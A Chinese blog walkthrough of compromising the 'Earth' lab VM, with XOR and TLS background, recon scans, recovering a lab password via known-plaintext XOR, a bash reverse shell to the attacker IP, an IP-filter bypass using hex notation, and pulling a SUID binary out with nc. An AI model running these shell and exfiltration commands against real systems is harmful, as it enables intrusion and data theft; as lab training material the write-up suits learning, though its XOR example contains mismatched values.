earth靶场渗透实例

发布时间 2023-05-09 19:41:51作者: kalixcn

基本知识

SSL/TLS协议

SSL/TLS是一种常用的保护网络通信的加密协议。在SSL/TLS协议的过程中,加密的多个步骤需要用到不同的信息字段,以下是SSL/TLS中重要的字段:

  1. 协议版本(Protocol Version):SSL/TLS协议的版本号。
  2. 密码套件(Cipher Suite):指定用于加密和身份验证的加密算法和协议版本
  3. 证书(Certificate):包含SSL/TLS通信各方身份验证所需的信息,如证书名、颁发机构CA、有效期、公钥。
  4. 主机名称(Subject Name):在SSL/TLS中,主体名称是一个协议字段,它指定证书所属的实体名称。
  5. 公钥(Public Key):在SSL/TLS握手过程中,公钥用于通过非对称加密算法传递用于后续通信的对称密钥。
  6. 主题备用名称(Subject Alternative Name):一种用于指定可以使用SSL证书的主机名的字段,使证书所有者能够在单个证书上列出多个可使用的域名。
  7. 有效期(Valid Date):SSL/TLS证书的有效期限,早于证书有效期的通信将不被信任。
  8. 应用程序数据(Application Data):在SSL/TLS协议中,应用程序数据是传输数据的主体,通过使用密码套件对其进行加密和身份验证。

在SSL证书中SSL-cert表示证书的主体名和签发机构的信息。该字段包括了组织或者个人的名称、国家/地区代码、城市和所在单位等信息。SSL-cert是一项必需的信息,因为它用于确认服务器的身份以及证书是否被信任。在建立SSL/TLS连接时,客户端通过验证SSL-cert和签发机构的信任相关信息来验证服务器的身份有效性。

在SSL中,Subject Alternative Name(SAN)是用于指定使用SSL证书的主机名的字段。每个SSL证书都有一个主题字段,用于指定证书所属的实体(例如网站所有者),而SAN则提供了替代名称的选项,使证书所有者能够在单个证书上列出多个可使用的域名,这些域名可以是不同的主机名、IP地址或者其他标识符。SAN重要支持证书的多域名,例如一个服务器可能在同一个IP上托管多个域名的网站。使用SAN可以避免需要为每一个单独的域名颁发不同的证书,从而可以简化SSL证书管理和部署的复杂性。在SAN字段中可以包含多个条目,每个条目可以是DNS名称,IP地址或者其他标识符。例如,可以在单个SSL证书中包括主机名、通用名称和子域名等多个条目。SAN可以是必需的,特别是在使用通配符(*)证书时,SAN将为使用通配符的主机名添加额外的安全保护。在TLS/SSL通信中,SAN是一个非常重要的字段,它提供了更灵活的方法来管理证书和保护网站的安全性。

XOR加密以及破解原理

XOR(异或)加密是一种简单的加密算法,它基于位运算(bitwise operation)。该算法是通过将明文与密钥进行异或运算来加密数据的。这里的异或运算符是'^',它在二进制数中表示为1,当两个位相同时返回0,当两个位不同返回1。
加密过程如下:

  1. 将明文和密钥转换为二进制数。
  2. 对明文和密钥进行异或运算。
  3. 将结果转换回文本格式。

例如,将明文"Hello,World!"与密钥"sercret"进行XOR加密可以按照以下步骤进行:
1. 将明文和密钥转换为二进制数
Hello, World!:01001000 01100101 01101100 01101100 01101111 00101100
00100000 01010111 01101111 01110010 01101100 01100100 00100001
secret: 01110011 01100101 01100011 01110010 01100101 01110100
2. 对明文和密钥进行异或运算
01001000 01100101 01101100 01101100 01101111 00101100
00100000 01010111 01101111 01110010 01101100 01100100
00100001
XOR
01110011 01100101 01100011 01110010 01100101 01110100
01110011 01100101 01100011 01110010 01100101 01110100
01100101

00111011 00000000 00001111 00011110 00001010 01011011 01001010 00011011 00011011 00010101 01111011 01000001 01000101

3. 将结果转换回文本格式
00111011 00000000 00001111 00011110 00001010 01011011 01001010 00011011 00011011 00010101 01111011 01000001 01000101

‘;’ { 15 30 10 91 74 27 27 21}{AE}
因为XOR加密采用简单的位运算,因此该加密算法很容易被破解,尤其是在密钥长度较短的情况下。因此,通常需要使用更强大的加密算法,例如AES或者RSA等。

XOR加密破解原理:

  1. 统计密文的字符频率:对于一段密文,我们可以对其中的每个字符进行统计,计算出它们的频率。
  2. 推断密钥长度:在进行XOR加密时,相同的密钥会重复使用。因此,如果我们知道密文的长度,我们可以通过比对密文中不同位置的字符,进一步猜测出密钥的长度。
  3. 使用重复密文的攻击:如果我们将同一个密钥用于两个不同的明文,然后将密文进行异或运算,对结果取反,可以得到密钥异或结果的异或和,这可以帮助我们进一步破解密钥。
  4. 使用明文攻击:对于一些已知明文和其对于的密文,我们可以通过将它们进行异或运算,得到密钥。如果我们将密钥与已知的加密结构进行比较,就可以验证其是否正确。

实例:
使用https://gchq.github.io/CyberChef/进行XOR加密步骤:

  1. 打开https://gchq.github.io/CyberChef/网站。
  2. 在输入框中输入明文,例如"This is my first challenge,so get I face,YES/NO?"。
  3. 在Recipes列表中选择"XOR(with key)"。
  4. 在后面的输入框中输入密钥,例如"secret"。
  5. 点击"APPLY"按钮来将选择的操作用于到明文和密钥上。
  6. 在输入框中查看加密后的结果。
  7. (可选)在Recipes列表中选择"To Base64"将结果转换为Base64编码,以方便在其他地方使用。

img

解密:
img

渗透流程

靶机下载地址

kaliIP地址:10.10.10.128
靶机地址:10.10.10.139

1. 主机发现

netdiscover -i eth0 -r 10.10.10.0/24

img

arp-scan 10.10.10.0/24

img

2. 扫描服务

nmap -A 10.10.10.139

img

浏览器浏览目标网站
img
发现443端口下绑定了两个域名,在/etc/hosts添加该两个域名的解析。
img
访问这几个域名,先大致看看有没有什么可用信息:
img

img

通过浏览域名,看到Previous Messages: 下面有三段不知道是什么玩意的东西,先放一放!!

3. 目录扫描
img
img

img

img
扫描这几个域名,分别发现在有一个robots.txt、cgi-bin、index.html、admin(在实战情况下,需要结合多款目录扫描器进行测试,以达到不漏掉目录的效果)。

访问robots.txt,查看有没有什么敏感文件、目录泄露。

img

通过查看发现,最后一个文件比较特别,那就试试不同的后缀名来查看查看,最后发现后缀名为.txt时,可以访问该文件。

img

通过这里我们可以知道:

  • 加密算法:XOR
  • 用户名:terra
  • 测试加密文件:testdata.txt

根据上面进行的目录扫描得出来的结果,猜测admin可能管理有关的页面,查看一下呗!

img

现在有用户名,还差密码,先放一放。

上面不是有一个用于测试加密的文件:testdata.txt,查看一下下

img

从收集到的信息,猜想一下,testdata.txt中的明文经过XOR加密得到一串密文,而这串密文在那里呢?突然想到上面看到的三串不知道是上面玩意东西,猜想一下可能其中一段就是经过加密得到的密文。。。还真会玩丫!

知道了明文和密文,而XOR如果密钥设置太短,完全可以破解出来。通过尝试这三段密文,发现最后一个密文,爆出来的玩意不是乱码的。

img

这玩意又是什么东西丫?上面不是缺密码吗?这玩意不会是密码吧!这也太套娃了吧!!!那就使用上面搜集的用户名和这玩意去目录爆破出来的 https://earth.local/admin/ 地址登录一下,果然是密码。

img

到现在收集到的信息:用户名密码为earthclimatechangebad4humans

那登录这个东西有什么用呢?不可能能调用系统命令吧?这也太脑洞了。
但是。。。那就查查flag吧!

find / -name "*flag.txt"

img

img

通过查看该系统权限为低用户权限,那就反弹shell进行提取吧!
在网页输入

bash -i >& /dev/tcp/10.10.10.128/4444 0>&1

在kali中输入:

nc -lvnp 4444

但是报:Remote connections are forbidden(远程连接禁止)
网上查看了一下说在(其实都是在网上看的)secure_message/forms.py对ip的进行了过滤,可以将ip数字转换为16机制进行绕过:

bash -i >& /dev/tcp/0xa.0xa.0xa.0x80/4444 0>&1

成功!

img

那就提权吧!
本来想上传漏洞检测脚本,不是发现执行不了,那就使用sudo进行提权

find / -perm -u=s -type f 2>null/null

img
在这里发现了一个奇怪的特殊文件/usr/bin/reset_root,那运行一下看看!不知道是什么意思,那就网上看看。。。说没有相应的触发器(俺也不知道),网上照做看看(一些东西不清楚)
靶机上执行:

nc 10.10.10.128 5555 </usr/bin/reset_root

kali上执行:

nc -lnvp 5555 > reset_root

img

img

新建文件,然后执行:
img
查找flag.txt
img

img